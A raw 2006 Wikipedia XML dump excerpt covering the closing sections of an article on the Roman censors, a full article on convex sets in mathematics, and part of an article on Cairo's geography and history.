(''[[pro Licinio Archia]]'' 5), that service in the army was a valid excuse for absence.

After the censors had received the names of all the citizens with the amount of their property, they then had to make out the lists of the tribes, and also of the classes and centuries; for by the legislation of Servius Tullius the position of each citizen in the state was determined by the amount of his property [Comitia Centuriata.] These lists formed a most important part of the Tabulae Censoriae, under which name were included all the documents connected in any way with the discharge of the censors' duties (Cic. de Leg. iii.3; Liv. xxiv.18; Plut. Cat. Maj. 16; Cic. de Leg. Agr. i.2). These lists, as far at least as they were connected with the finances of the state, were deposited in the aerarium, which was the temple of Saturn (Liv. xxix.37); but the regular depositary for all the archives of the censors was in earlier times the Atrium Libertatis, near the Villa publica (Liv. xliii.16, xlv.15), and in later times the temple of the Nymphs (Cic. pro Mil. 27).

Besides the arrangement of the citizens into tribes, centuries, and classes, the censors had also to make out the lists of the [[Roman Senate|senators]] for the ensuing five years, or till new censors were appointed; striking out the names of such as they considered unworthy, and making additions to the body from those who were qualified. In the same manner they held a review of the [[Equites|Equestrian]]s who received a horse from public funds (''equites equo publico''), and added and removed names as they judged proper.

After the lists had been completed, the number of citizens was counted up, and the sum total announced.  Accordingly, we find that in the account of a census, the number of citizens is likewise usually given. They are in such cases spoken of as ''capita'' (&quot;heads&quot;), sometimes with the addition of the word ''civium'' (&quot;of the citizens&quot;), and sometimes not.  Hence, to be registered in the census was the same thing as &quot;having a head&quot; (''caput habere'').

====Census beyond Rome====
A census was sometimes taken in the provinces, even under the republic (Cicero ''Verr.'' ii.53, 56); but there seems to have been no general census taken in the provinces till the time of [[Augustus]]. This emperor caused an accurate account to be taken of all persons in the Roman dominion, together with the amount of their property (Ev. Lucae, ii.1, 2; Joseph. Ant. Jud. xvii.13 §5, xviii.1 §1, 2 §1); and a similar census was taken from time to time by succeeding emperors, at first every ten, and subsequently every fifteen years (Savigny, Römische Steuerverfassung, in Zeitschrift, vol. vi pp375‑383). The emperor sent into the provinces especial officers to take the census, who were called Censitores (Dig. 50 tit.15 s4 § 1; Cassiod. Var. ix.11; Orelli, Inscr. No. 3652); but the duty was sometimes discharged by the imperial legati (Tac. Ann. i.31, ii.6). The Censitores were assisted by subordinate officers, called Censuales, who made out the lists, &amp;c. (Capitol. Gordian. 12; Symmach. Ep. x.43; Cod. Theod. 8 tit.2). At Rome the census still continued to be taken under the empire, but the old ceremonies connected with it were no longer continued, and the ceremony of the lustration was not performed after the time of Vespasian. The two great jurists, Paulus and [[Ulpian]], each wrote works on the census in the imperial period; and several extracts from these works are given in a chapter in the Digest (50 15), to which we must refer for further details respecting the imperial census.

====Other uses of census====
The word ''census'', besides the meaning of &quot;valuation&quot; of a person's estate, has other significations in Rome, which must be briefly mentioned: 
* the amount of a person's property, and hence we read of ''census senatorius'', the estate of a senator; ''census equestris'', the estate of an [[eques]]
* the lists of the censors
* the tax which depended upon the valuation in the census. The Lexicons will supply examples of these meanings.

===''Regimen morum''===
Keeping the public morals (''regimen morum'', or in the [[Roman Empire|empire]] ''cura morum'' or ''praefectura morum'') was the most important branch of the censors' duties, and the one which caused their office to be the most revered and the most dreaded in the Roman state; hence they were also known as ''Castigatores'' 'chastisers'. It naturally grew out of the right which they possessed of excluding unworthy persons from the lists of citizens; for, as has been well remarked, &quot;they would, in the first place, be the sole judges of many questions of fact, such as whether a citizen had the qualifications required by law or custom for the rank which he claimed, or whether he had ever incurred any judicial sentence, which rendered him infamous: but from thence the transition was easy, according to Roman notions, to the decisions of questions of right; such as whether a citizen was really worthy of retaining his rank, whether he had not committed some act as justly degrading as those which incurred the sentence of the law.&quot;

In this manner the censors gradually became possessed of a complete superintendence over the whole public and private life of every citizen. They were constituted the conservators of public morality; they were not simply to prevent crime or particular acts of immorality, but their great object was to maintain the old Roman character and habits (''mos majorum''). The proper expression for this branch of their power was ''regimen morum'' (Cicero ''de Legibus'' iii.3; Livy iv.8, xxiv.18, xl.46, xli.27, xlii.3; Suetonius ''Life of Augustus'' 27), which was called in the times of the [[Roman Empire|empire]] ''cura'' (&quot;supervision&quot;) or ''praefectura'' (&quot;command&quot;). The punishment inflicted by the censors in the exercise of this branch of their duties was called ''nota'' (&quot;mark, letter&quot;) or ''notatio'', or ''animadversio censoria'' (&quot;censorial reproach&quot;). In inflicting it they were guided only by their conscientious convictions of duty; they had to take an oath that they would act neither through partiality nor favour; and, in addition to this, they were bound in every case to state in their lists, opposite the name of the guilty citizen, the cause of the punishment inflicted on him, ''Subscriptio censoria'' (Livy xxxix.42; Cicero ''[[pro Cluentio Oratio]]'' 42‑48; Gell. iv.20).

This part of the censors' office invested them with a peculiar kind of jurisdiction, which in many respects resembled the exercise of public opinion in modern times; for there are innumerable actions which, though acknowledged by every one to be prejudicial and immoral, still do not come within the reach of the positive laws of a country. Even in cases of real crimes, the positive laws frequently punish only the particular offence, while in public opinion the offender, even after he has undergone punishment, is still incapacitated for certain honours and distinctions which are granted only to persons of unblemished character.

Hence the Roman censors might brand a man with their &quot;censorial mark&quot; (''nota censoria'') in case he had been convicted of a crime in an ordinary court of justice, and had already suffered punishment for it. The consequence of such a nota was only ''[[ignominia]]'' and not ''[[infamia]]'' (Cicero ''[[de Re Publica]]'' iv.6) ''Infamia'' and the censorial verdict was not a ''judicium'' or ''res judicata'' (Cicero ''pro Cluentio Oratio'' 42), for its effects were not lasting, but might be removed by the following censors, or by a ''[[lex]]'' (roughly &quot;law&quot;). A censorial mark was moreover not valid unless both censors agreed. The ''ignominia'' was thus only a transitory reduction of status, which does not even appear to have deprived a magistrate of his office (Livy xxiv.18), and certainly did not disqualify persons labouring under it for obtaining a magistracy, for being appointed as ''[[Judex|judices]]'' by the [[praetor]], or for serving in the [[Roman army|Roman armies]]. [[Mamercus Aemilius]] was thus, notwithstanding the reproach of the censors (''animadversio censoria''), made [[Roman dictator|dictator]] (Livy iv.31).

A person might be branded with a censorial mark in a variety of cases, which it would be impossible to specify, as in a great many instances it depended upon the discretion of the censors and the view they took of a case; and sometimes even one set of censors would overlook an offence which was severely chastised by their successors (Cicero ''[[de Senectute]]'' 12). But the offences which are recorded to have been punished by the censors are of a threefold&lt;!-- Huh?  Only two listed --&gt; nature.
&lt;ol type=&quot;1&quot;&gt;&lt;li&gt;Such as occurred in the private life of individuals, e.g.
&lt;ol type=&quot;a&quot;&gt;&lt;li&gt;Living in celibacy at a time when a person ought to be married to provide the state with citizens (Valerius Maximus ii.9 §1). The obligation of marrying was frequently impressed upon the citizens by the censors, and the refusal to fulfil it was punished with a fine (''[[aes uxorium]]'').
&lt;li&gt;The dissolution of matrimony or betrothment in an improper way, or for insufficient reasons (Valerius Maximus ii.9 §2).
&lt;li&gt;Improper conduct towards one's wife or children, as well as harshness or too great indulgence towards children, and disobedience of the latter towards their parents (Plutarch ''Life of Cato the Elder'' 17; cf. Cicero ''de Re Publica'' iv.6; Dionys. xx.3).
&lt;li&gt;Inordinate and luxurious mode of living, or an extravagant expenditure of money. A great many instances of this kind are recorded (Livy ''Periochae'' 14, xxxix.4; Plutarch ''Life of Cato the Elder'' 18; Gellius, iv.8; Valerius Maximus ii.9 §4). At a later time the ''[[Sumptuary laws|leges sumtuariae]]'' were made to check the growing love of luxuries.
&lt;li&gt;Neglect and carelessness in cultivating one's fields (Auli Gellii iv.12; Pliny ''[[Natural History (Pliny)|Natural History]]'' xviii.3). 
&lt;li&gt;Cruelty towards slaves or clients (Dionysius xx.3).
&lt;li&gt;The carrying on of a disreputable trade or occupation (Dionysius, l.c.), such as acting in theatres (Livy vii.2).
&lt;li&gt;Legacy-hunting, defrauding orphans, &amp;c.&lt;/ol&gt;
&lt;li&gt;A variety of actions or pursuits which were thought to be injurious to public morality, might be forbidden by an edict (Gellius, xv.11), and those who acted contrary to such edicts were branded with the nota and degraded. For an enumeration of the offences that might be punished by the censors with ignominia, see Niebuhr, ''History of Rome'', vol. ii p399, &amp;c.&lt;/ol&gt;

A person who had been branded with a ''nota censoria'', might, if he considered himself wronged, endeavour to prove his innocence to the censors (''causam agere apud censores'', Varr. de Re Rust. i.7), and if he did not succeed, he might try to gain the protection of one of the censors, that he might intercede on his behalf.

====Punishments====
The punishments inflicted by the censors generally differed according to the station which a man occupied, though sometimes a person of the highest rank might suffer all the punishments at once, by being degraded to the lowest class of citizens. But they are generally divided into four classes:—
#''Motio'' (&quot;removal&quot;) or ''ejectio e senatu'' (&quot;ejection from the Senate&quot;), or the exclusion of a man from the number of senators. This punishment might either be a simple exclusion from list of senators, or the person might at the same time be excluded from the tribes and degraded to the rank of an aerarian (Liv. xxiv.18). The latter course seems to have been seldom adopted; the ordinary mode of inflicting the punishment was simply this: the censors in their new lists omitted the names of such senators as they wished to exclude, and in reading these new lists in public, passed over the names of those who were no longer to be senators. Hence the expression ''praeteriti senatores'' (&quot;passing over the senators&quot;) is equivalent to ''e senatu ejecti'' (Livy xxxviii.28, xxvii.11, xxxiv.44; Festus, s.v. Praeteriti).&lt;p&gt;In some cases, however, the censors did not acquiesce in this simple mode of proceeding, but addressed the senator whom they had noted, and publicly reprimanded him for his conduct (Livy xxiv.18). As, however, in ordinary cases an ex-senator was not disqualified by his ''ignominia'' for holding any of the magistracies which opened the way to the senate, he might at the next census again become a senator (Cicero ''pro Cluentio Oratio'' 42, Plutarch ''Life of Cicero'' 17).
#The ''ademptio equi'', or the taking away the publicly-funded horse from an [[eques|equestrian]]. This punishment might likewise be simple, or combined with the exclusion from the tribes and the degradation to the rank of an [[aerarian]] (Livy xxiv.18, 43, xxvii.11, xxix.37, xliii.16).
#The ''motio e tribu'', or the exclusion of a person from his tribe. This punishment and the degradation to the rank of an aerarian were originally the same; but when in the course of time a distinction was made between the rural or rustic tribes and the urban tribes, the ''motio e tribu'' transferred a person from the rustic tribes to the less respectable city tribes, and if the further degradation to the rank of an aerarian was combined with the ''motio e tribu'', it was always expressly stated (Liv. xlv.15, Plin. H.N. xviii.3).
#The fourth punishment was called ''referre in aerarios'' (Livy xxiv.18; Cicero ''pro Cluentio Oratio'' 43) or ''facere aliquem aerarium'' (Livy xliii.43), and might be inflicted on any person who was thought by the censors to deserve it. This degradation, properly speaking, included all the other punishments, for an equestrian could not be made an ''aerarius'' unless he was previously deprived of his horse, nor could a member of a rustic tribe be made an ''aerarius'' unless he was previously excluded from it (Livy iv.24, xxiv.18, &amp;c.).

===Administration of the finances of the state===
The administration of the state's finances was another part of the censors' office. In the first place the ''[[tributum]]'', or property-tax, had to be paid by each citizen according to the amount of his property registered in the census, and, accordingly, the regulation of this tax naturally fell under the jurisdiction of the censors (cf. Livy xxxix.44). They also had the superintendence of all the other revenues of the state, the ''[[vectigalia]]'', such as the tithes paid for the public lands, the [[salt]] works, the mines, the customs, &amp;c.

All these branches of the revenue the censors were accustomed to let out to the highest bidder for the space of a ''lustrum'' or five years. The act of letting was called ''venditio'' or ''locatio'', and seems to have taken place in the month of March ([[Macrobius]] ''[[Saturnalia (book)|Saturnalia]]'' i.12), in a public place in Rome (Cicero ''de Lege Agraria'' i.3, ii.21). The terms on which they were let, together with the rights and duties of the purchasers, were all specified in the ''leges censoriae'', which the censors published in every case before the bidding commenced (Cicero ''ad Qu. Fr.'' i.1 §12, Verr. iii.7, ''de Nat. Deor.'' iii.19, Varr. ''de Re Rust.'' ii.1). For further particulars see [[Publicani]].

The censors also possessed the right, though probably not without the concurrence of the senate, of imposing new ''vectigalia'' (Livy xxix.37, xl.51), and even of selling the land belonging to the state (Livy xxxii.7). It would thus appear that it was the duty of the censors to bring forward a budget for a five-year period, and to take care that the income of the state was sufficient for its expenditure during that time. So far their duties resembled those of a modern [[minister of finance]]. The censors, however, did not receive the revenues of the state. All the public money was paid into the ''[[aerarium]]'', which was entirely under the jurisdiction of the senate; and all disbursements were made by order of this body, which employed the [[quaestor]]s as its officers.

In one important department the censors were entrusted with the expenditure of the public money, though the actual payments were no doubt made by the quaestors. The censors had the general superintendence of all the public buildings and works (''opera publica''), and to meet the expenses connected with this part of their duties, the senate voted them a certain sum of money or certain revenues, to which they were restricted, but which they might at the same time employ according to their discretion ([[Polybius]] vi.13; Livy xl.46, xliv.16). They had to see that the temples and all other public buildings were in a good state of repair (''aedes sacras tueri'' and ''sarta tecta exigere'', Livy xxiv.18, xxix.37, xlii.3, xlv.15), that no public places were encroached upon by the occupation of private persons (''loca tueri'', Livy xlii.3, xliii.16), and that the [[Aqueduct (Roman)|aqueduct]], roads, drains, etc. were properly attended to.

The repairs of the public works and the keeping of them in proper condition were let out by the censors by public auction to the lowest bidder, just as the ''vectigalia'' were let out to the highest bidder. These expenses were called ''[[ultrotributa]]'', and hence we frequently find ''vectigalia'' and ''ultrotributa'' contrasted with one another (Livy xxxix.44, xliii.16). The persons who undertook the contract were called ''conductores'', ''mancipes'', ''redemptores'', ''susceptores'', etc.; and the duties they had to discharge were specified in the [[Leges Censoriae]]. The censors had also to superintend the expenses connected with the worship of the gods, even for instance the feeding of the sacred geese in the Capitol, which were also let out on contract (Plutarch ''[[Roman Questions]]'' 98; Pliny ''[[Natural History (Pliny)|Natural History]]'' x.22; Cicero ''[[pro Sexto Roscio Amerino Oratio]]'' 20).

Besides keeping existing public works in a proper state of repair, the censors also constructed new ones, either for ornament or utility, both in Rome and in other parts of Italy, such as temples, [[basilica]]e, [[theatre]]s, porticoes, [[Roman Forum|fora]], walls of towns, [[Aqueduct (Roman)|aqueducts]], harbours, bridges, cloacae, roads, etc. These works were either performed by them jointly, or they divided between them the money, which had been granted to them by the senate (Liv. xl.51, xliv.16). They were let out to contractors, like the other works mentioned above, and when they were completed, the censors had to see that the work was performed in accordance with the contract: this was called ''opus probare'' or ''in acceptum referre'' (Cicero ''Verr.'' i.57; Livy iv.22, xlv.15; Lex Puteol. p73, Spang.).

The [[aedile]]s had likewise a superintendence over the public buildings, and it is not easy to define with accuracy the respective duties of the censors and aediles, but it may be remarked in general that the superintendence of the aediles had more of a police character, while that of the censors had reference to all financial matters.

===Lustrum===
After the censors had performed their various duties and taken the five-yearly census, the ''[[lustrum]]'', a solemn purification of the people, followed. When the censors entered upon their office, they drew lots to see which of them should perform this purification (''lustrum facere'' or ''condere'', Varr. L.L. vi.86; Livy xxix.37, xxxv.9, xxxviii.36, xlii.10); but both censors were of course obliged to be present at the ceremony.

Long after the Roman census was no longer taken, the Latin word ''lustrum'' has survived, and been adopted in some modern languages, in the derived sense of a period of five years, i.e. half a decennium.

== See also == 
* [[Cursus honorum]]
* [[List of Ancient Rome-related topics]]
* [[List of censors]]
* [[Political institutions of Rome]]
* [[Roman Republic]]

==Sources and References==
*[[Pauly-Wissowa]]
{{Smith}}

[[Category:Roman censors|*]]
[[Category:Ancient Roman titles]]
[[Category:Government occupations]]

[[de:Censur]]
[[es:Censor romano]]
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[[it:Censore (storia romana)]]
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[[hu:Censor]]
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[[no:Censor]]
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[[pt:Censor romano]]
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[[fi:Censori]]
[[sv:Censor]]
[[zh:監察官]]</text>
    </revision>
  </page>
  <page>
    <title>Convex set</title>
    <id>6292</id>
    <revision>
      <id>39062943</id>
      <timestamp>2006-02-10T13:10:41Z</timestamp>
      <contributor>
        <username>Cbuckley</username>
        <id>901382</id>
      </contributor>
      <text xml:space="preserve">{{Wiktionary}}
:''For other uses of convex, see  [[convex function]] and [[convexity]].''
In [[Euclidean space]], an object is '''convex''' if for any pair of points within the object, any point on the [[straight line]] segment that joins them is also within the object. For example, a solid [[cube (geometry)|cube]] is convex, but anything that is hollow or has a dent in it is not convex.

== Convex sets ==
[[Image:Convex polygon illustration1.png|right|thumb|A convex set.]]
[[Image:Convex polygon illustration2.png|right|thumb|A non-convex (concave) set.]]

Let ''C'' be a set in a [[real number|real]] or [[complex number|complex]] [[vector space]]. ''C'' is said to be '''convex''' if, for all ''x'' and ''y'' in ''C'' and all ''t'' in the [[interval (mathematics)|interval]] [0,1], the point 

:(1 &amp;minus; ''t'') ''x'' + ''t y'' 

is in ''C''. In other words, every point on the [[line segment]] connecting ''x'' and ''y'' is in ''C''. This implies that a convex set is [[connected space|connected]].

A set ''C'' is called '''absolutely convex''' if it is convex and [[balanced set|balanced]].

The convex [[subset]]s of '''R''' (the set of real numbers) are simply the intervals of '''R'''.
Some examples of convex subsets of [[Euclidean space|Euclidean 2-space]] are [[regular polygon]]s and [[curve of constant width|bodies of constant width]].
Some examples of convex subsets of [[Euclidean space|Euclidean 3-space]] are the [[Archimedean solid|Archimedean solids]] and the [[Platonic solid|Platonic solids]]. The [[Kepler-Poinsot solid]]s are examples of non-convex sets.

=== Properties of convex sets ===

If &lt;math&gt;S&lt;/math&gt; is a convex set, for any &lt;math&gt;u_1,u_2,\ldots,u_r&lt;/math&gt; in &lt;math&gt;S&lt;/math&gt;, and any non [[negative number]]s &lt;math&gt;\lambda_1,\lambda_2,\ldots,\lambda_r&lt;/math&gt; such that &lt;math&gt;\lambda_1+\lambda_2+\cdots+\lambda_r=1&lt;/math&gt;, then the vector
&lt;math&gt;\sum_{k=1}^r\lambda_k u_k&lt;/math&gt;
is in &lt;math&gt;S&lt;/math&gt;.

The intersection of any collection of convex sets is itself convex, so the convex subsets of a (real or complex) vector space form a complete [[lattice (order)|lattice]]. This also means that any subset ''A'' of the vector space is contained within a smallest convex set (called the [[convex hull]] of ''A''), namely the intersection of all convex sets containing ''A''.

[[closed set|Closed]] convex sets can be characterised as the intersections of ''closed [[half-space]]s'' (sets of point in space that lie on and to one side of a [[hyperplane]]). From what has just been said, it is clear that such intersections are convex, and they will also be closed sets. To prove the converse, i.e., every convex set may be represented as such intersection, one needs the ''supporting hyperplane theorem'' in the form that for a given closed convex set ''C'' and point ''P'' outside it, there is a closed half-space ''H'' that contains ''C'' and not ''P''. The supporting hyperplane theorem is a special case of the [[Hahn-Banach theorem]] of [[functional analysis]].

==Star-convex sets==
Let ''C'' be a set in a real or complex vector space. ''C'' is '''star convex''' if there exists an &lt;math&gt;x_0&lt;/math&gt; in ''C'' such that the line segment from &lt;math&gt;x_0&lt;/math&gt; to any point ''y'' in ''C'' is contained in ''C''. Hence a convex set is always star convex but a star-convex object is not always convex.

==Non-Euclidean geometry==
The definition of a convex set and a convex hull extends naturally to  [[non-Euclidean geometry]] by defining a convex set to contain the [[geodesic]]s joining any two points in the set. 

==Generalized convexity==

The notion of convexity in the Euclidean space may be generalized by modifying the definition in some or other aspects. The common name &quot;generalized convexity&quot; is used, because the resulting objects retain certain properties of convex sets. 

===Orthogonal convexity===

An example of generalized convexity is '''orthogonal convexity'''. 

A set ''S'' in the Euclidean space is called '''orthogonally convex''' or '''orthoconvex''', if any segment parallel to any of the coordinate axes connecting two points of ''S'' lies totally within ''S''. It is easy to prove that an intersection of any collection of orthoconvex sets is orthoconvex. Some other properties of convex sets are  valid as well.

==Abstract (axiomatic) convexity==

The notion of [[convexity]] may be generalised to other objects, if certain properties of convexity are selected as [[axiom]]s. 

Given a set ''X'', the '''convexity''' over ''X'' is a subset &lt;math&gt; \mathbb{C}&lt;/math&gt; of [[powerset]] of ''X'' that satisfies the following axioms.

#The empty set and ''X'' are in &lt;math&gt; \mathbb{C}&lt;/math&gt;
#The intersection of any collection from &lt;math&gt; \mathbb{C}&lt;/math&gt; is in &lt;math&gt; \mathbb{C}&lt;/math&gt;.
#The union of a [[Total order|chain]] (with respect to the [[inclusion relation]]) of elements of &lt;math&gt; \mathbb{C}&lt;/math&gt; is in &lt;math&gt; \mathbb{C}&lt;/math&gt;.

The elements of &lt;math&gt; \mathbb{C}&lt;/math&gt; are called convex sets and the pair (''X'', &lt;math&gt; \mathbb{C}&lt;/math&gt;)) is called the '''convexity space'''. For the ordinary convexity, the first two axioms hold, and the third one is trivial.

== See also ==
* [[pseudoconvexity]]

==References==

*Rawlins G.J.E. and Wood D, &quot;Ortho-convexity and its generalizations&quot;,  in: ''Computational Morphology'', 137-152. [[Elsevier]], [[1988]].
*Soltan, Valeriu, ''Introduction to the Axiomatic Theory of Convexity'', Stiintsa, [[Chisinau]], [[1984]] (in Russian).

[[Category:Convex geometry]]
[[Category:Mathematical analysis]]

[[de:Konvexe Menge]]
[[es:Convexidad]]
[[fr:Convexe]]
[[he:קבוצה קמורה]]
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[[pl:Zbiór wypukły]]
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[[sv:Konvex]]</text>
    </revision>
  </page>
  <page>
    <title>Cairo</title>
    <id>6293</id>
    <revision>
      <id>42161871</id>
      <timestamp>2006-03-04T05:47:56Z</timestamp>
      <contributor>
        <ip>216.104.211.5</ip>
      </contributor>
      <text xml:space="preserve">{{Otheruses}}

'''Cairo''' ([[Arabic language|Arabic]]: '''&amp;#1575;&amp;#1604;&amp;#1602;&amp;#1575;&amp;#1607;&amp;#1585;&amp;#1577;'''; [[Arabic transliteration|transliterated]]: '''al-Q&amp;#x101;hirah''') is the [[capital]] [[city]] of [[Egypt]] (and previously the [[United Arab Republic]]) and has a [[metropolitan area]] [[population]] of approximately 15.2 million people, the largest in Africa. Cairo is the [[List of metropolitan areas by population|sixteenth most populous metropolitan area]] in the world (the 10th according to 2004). Cairo is located at 30&amp;deg;2' North, 31&amp;deg;13' East (30.03333, 31.21667). [http://earth-info.nga.mil/gns/html/cntry_files.html]

While al-Q&amp;#x101;hirah is the official name of the city, in local speech it is typically called simply by the name of the country, ''Mi&amp;#351;r'' (Arabic, &amp;#1605;&amp;#1589;&amp;#1585;) pronounced ''Ma&amp;#351;r'' in the local dialect.

The name Al-Qahirah literally means &quot;The Subduer,&quot; though it is often translated as &quot;'''The Victorious'''.&quot; The origin of the name is said to come from the appearance of the planet Mars during the foundation of the city. The planet Mars, associated with destruction was called &quot;Al Najm Al Qahir&quot; in Arabic, from which the name of the city was derived. However the legacy of the name evolved into the title &quot;Qahirat Al Adaa&quot; meaning &quot;subduer of the enemies&quot;. This title was given to the city as many armies were destroyed in attempts to invade Cairo or defeated elsewhere by troops sent from Cairo. ([[Mongols]], Crusaders &amp; Ottomans are examples.)

==Geography==
[[Image:ClimateCairoEgypt.PNG|thumb|200px|right|Average temperature and precipitations in Cairo]]
&lt;!--[[Image:Cairo_Egypt_ASA_IMG_Orbit_12013_20040617.jpg|thumb|left|200px|This Envisat ASAR Wide-Swath radar multicolour composite image is focused over the capital city of Cairo, Egypt, seen as a large bright area centre left of the image, Credit-ESA 2004.]]--&gt;
[[Image:Large_Cairo_Landsat.jpg||thumb|left|A simulated-color satellite image of Cairo, Egypt, taken on NASA's Landsat 7  satellite.]]

Cairo is located on the banks and islands of the [[Nile|Nile River]] in the north of [[Egypt]], immediately south of the point where the river leaves its desert-bound valley and breaks into two branches into the low-lying [[Nile Delta]] region. 

The oldest part of the city is somewhat east of the river.  There, the city gradually spreads west, engulfing the agricultural lands next to the [[Nile]].  These western areas, built on the model of [[Paris]] by [[Isma'il Pasha|Ismail the Magnificent]] in the mid-[[19th century]], are marked by wide boulevards, public gardens, and open spaces.  The older eastern section of the city is very different: having grown up haphazardly over the centuries it is filled with small lanes and crowded tenaments.  While western Cairo is dominated by the government buildings and modern architecture, the eastern half is filled with hundreds of ancient [[mosque]]s that act as landmarks.

Extensive water systems have also allowed the city to expand east into the desert.  Bridges link the Nile islands of [[Gezira, Egypt|Gezira]] and [[Rodah (island)|Roda]], where many government buildings are located and government officials live.  Bridges also cross the Nile attaching the city to the suburbs of [[Giza]] and [[Imbabah]] (part of the Cairo conurbation).

West of Giza, in the desert, is part of the ancient [[necropolis]] of Memphis on the Giza plateau, with its three large [[pyramid|pyramids]], including the [[Great Pyramid of Giza]] (last surviving of the [[Wonders of the world|Seven Ancient Wonders of the World]]). Approximately 11 miles (18 km) to the south of modern Cairo is the site of the ancient Egyptian city of [[Memphis, Egypt|Memphis]] and adjoining necropolis of [[Saqqara]].  These cities were Cairo's ancient predecessors, when Cairo was still in this approximate geographical location.

==History==
===Founding and early history===
[[Image:cairo3.jpg|thumb|left|Cairo incorporates an entire mediæval section, which is now a popular neighborhood and contains important buildings of Islamic architecture. ]]
The current location of Cairo was too far from the ancient course of the Nile to support a city. Just to the south of the modern city's location are the ruins of [[Memphis, Egypt|Memphis]], which was the capital of [[Ancient Egypt]] and was founded in around [[3100 BC]] by [[Menes]] of [[Tanis, Egypt|Tanis]] after he had united the two kingdoms of Upper and Lower Egypt, although the capital later moved to [[Heliopolis]], further south to [[Thebes, Egypt|Thebes]], and, under the [[Ptolemaic dynasty]], [[Alexandria]].

[[Image:spa.jpg|thumb|right|The Citadel]]The first settlement on the location of modern Cairo was a [[Roman Empire|Roman]] fort, known as [[Babylon Fort]], built about [[150|AD 150]], built near the settlement known as [[Babylon-in-Egypt]], which lay close to an ancient Egyptian canal from the Nile to the Red Sea.

A small town mostly of [[Coptic Christian]]s slowly grew around the fort.   Muslim invaders, lead by [[Amr Ibn-el-As]], took the fort town in [[642]] and also established their army in the location, rebuilding its defenses.  The Muslim tented camp outside the fortress, known as [[Al-Fustat]], slowly became the permanent base of the Muslim forces in Egypt under the [[Umayyad]]s and [[Abbasid]]s, and contains the first [[mosque]] in Africa.  

Slowly, the settlement grew into a small city.  The [[North Africa]]n [[Shiite]] [[Fatimid]] Dynasty conquered Egypt in [[972]] and built a new capital, [[Al-Mansureya]], north of the old settlement.  Their leader, [[Al-Muez Ledin-Ellah]], renamed the city Al-Qahirah after the planet [[Mars (planet)|Mars]] which was rising on the day the city was founded. 

The [[Al-Azhar mosque]] was founded the same year, and along with its accompanying [[university]] it made Cairo a centre of learning and philosophy.  The school remains a major center for [[Islamic]] study today. The [[Seljuk]]s captured Cairo in the mid 1100s, and [[Saladin]] and his successors expanded the city further, including the construction of its massive [[Cairo Citadel|citadel]].  

The sack of [[Baghdad]] in 1258 heightened the importance of the city and it became the leading intellectual and artistic centre in the Middle East, and perhaps the world, for the next 250 years. It is believed that Cairo was the largest city in the world from 1315 to 1348 [http://geography.about.com/library/weekly/aa011201a.htm](year of the [[Black Death]]). But power was shifting from the Arab world north to the [[Turkic peoples|Turks]] and [[European]]s. 

The city was taken by the [[Ottoman Empire]] under [[Selim I]] in 1517, but the ruling [[Mameluks]] quickly returned to power as nominal vassals to the Ottoman Sultan.

The family of 26th Ottoman sultan [[Selim III]] died on the way to [[Medina]]. They have been buried in an impressive Ottoman mausoleum in the old quarter of Cairo. The mausoleum is still favorite plot to visit for Turkish tourists.

===Era of westernization===
[[Image:Cairo.jpg|thumb|left|Lions guard the Kasr-el-Nil Bridge which traverses the Nile at Tahrir Square. European architecture and urban design, major infrastructural projects and intense cultural patronage were part of [[Khedive]] Ismail's vision for Cairo as &quot;Paris on the Nile.&quot; ]]

[[Napoleon]] conquered Egypt in 1798, and Cairo was quickly surrendered to him by its Mameluk rulers. Napoleon left Egypt after his fleet was destroyed at the [[Battle of Aboukir Bay]] in August 1798, leaving [[Jean Baptiste Kléber|General Kléber]] in charge. Kléber was [[assassinate]]d in 1800 and the three-year [[France|French]] occupation had little lasting effect.

The first hints of westernization began under the successors to [[Mehemet Ali (Egypt)|Mehemet Ali]] with the introduction of a railway connection to [[Alexandria]] in 1851. Significant change, however, did not occur until the reign of [[Isma'il Pasha]] when, in 1863, construction of the [[Suez Canal]] brought significant numbers of westerners to Egypt. A network of gas lighting was installed by a [[France|French]] company and the railway lines were greatly expanded.

In 1867, Isma'il visited [[Paris]] to attend the [[Universal Exposition of 1867]]. There he saw the newly redesigned city of [[Baron Haussmann|Haussmann]] and, funded by a booming [[cotton]] trade, decided to rebuild Cairo on the model of a European capital. He hoped to have this done by 1869 when representatives from around the world came to Egypt for the opening of the Suez Canal.

Rather than rebuild the old city, Isma'il elected to add a new quarter to the western section along the bank of the [[Nile]]. The project was carried out by [[Ali Pasha Mubarak]] and designed by the French urban planner [[Pierre Grand]]. A new area of luxurious villas and apartments was constructed and new government ministries were erected. Grand boulevards were opened through the old town and tram lines soon followed.

The era of colonization in 1882 saw the rebuilding of Cairo continuing. A modern sewer system was installed and new suburbs such as [[Heliopolis]] were constructed in the desert. Cairo's population exploded, increasing from 374,000 in 1882 to 1,312,000 by 1937. The city was dominated by westerners, however, and city planners tended to emphasize [[Christianity|Christian]] cathedrals over mosques.

===Modern Cairo===
Cairo remained the central city of Egypt throughout the period of British rule and afterwards.  The [[20th century]] saw massive growth in the size of the city as peasants left the farmlands in pursuit of work in the factories and commerce of the metropolis. The city was especially burdened by refugees from the various wars with [[Israel]]: much of the population of the [[Sinai]] peninsula and the cities along the Suez Canal left for Cairo between 1967 and 1978.

Today Cairo is Africa's most populous city and the [[Arab world]]'s cultural centre.

Since the [[19th century]] Cairo has also become a center for [[tourism]] as people from around the world have come to see the monuments and artifacts of [[Ancient Egypt]], especially the [[Pyramid]]s.  Laws against the export of these treasures has meant that the [[Egyptian Museum]] in Cairo is the only place in the world that many items can be seen.

&lt;gallery&gt;
Image:Kairo_001.jpg|View of the modern city's skyline.
Image:CairoFromTower.jpg|View of the Nile and Tahrir Square from the [[Cairo Tower]]
&lt;/gallery&gt;

== Infrastructure ==
=== Health ===
Cairo, as well as neighbouring [[Giza]], have been established as [[Egypt]]'s main centre for medical treatment, as well as a major Health Centre in the [[Middle East]]. Some of Cairo's most famous hospitals are [[Al-Salam International Hospital]], [[Ain-Shams University Hospital]], as well as [[Qasr El Ainy General Hospital]].

Due to the fact that most of Egypt is sand, there is little land available for human burials. This has caused a part of the community to use the ground underneath homes, in an area refered to as the City of the Dead.

[[Image:City_of_the_Dead3091.jpg|thumb|City of the Dead.]]

See [[List of hospitals in Egypt]].

=== Transport ===
''Main Article: [[Transportation in Cairo]]''
*[[Cairo International Airport]]
*[[Cairo Metro]]
*[[CTA]]

=== Utilities ===
to be added

==Cairo in art, literature and music==
In the fictional ''[[Star Trek]]'' universe, a starship, the [[MemoryAlpha:USS Cairo|USS ''Cairo'']], was named for the city.

In the [[computer game]] ''[[Deus Ex: Invisible War]]'', futuristic Cairo is depicted as an ancient [[medina quarter|medina]] surrounding a [[pyramid]]-shaped [[arcology]].

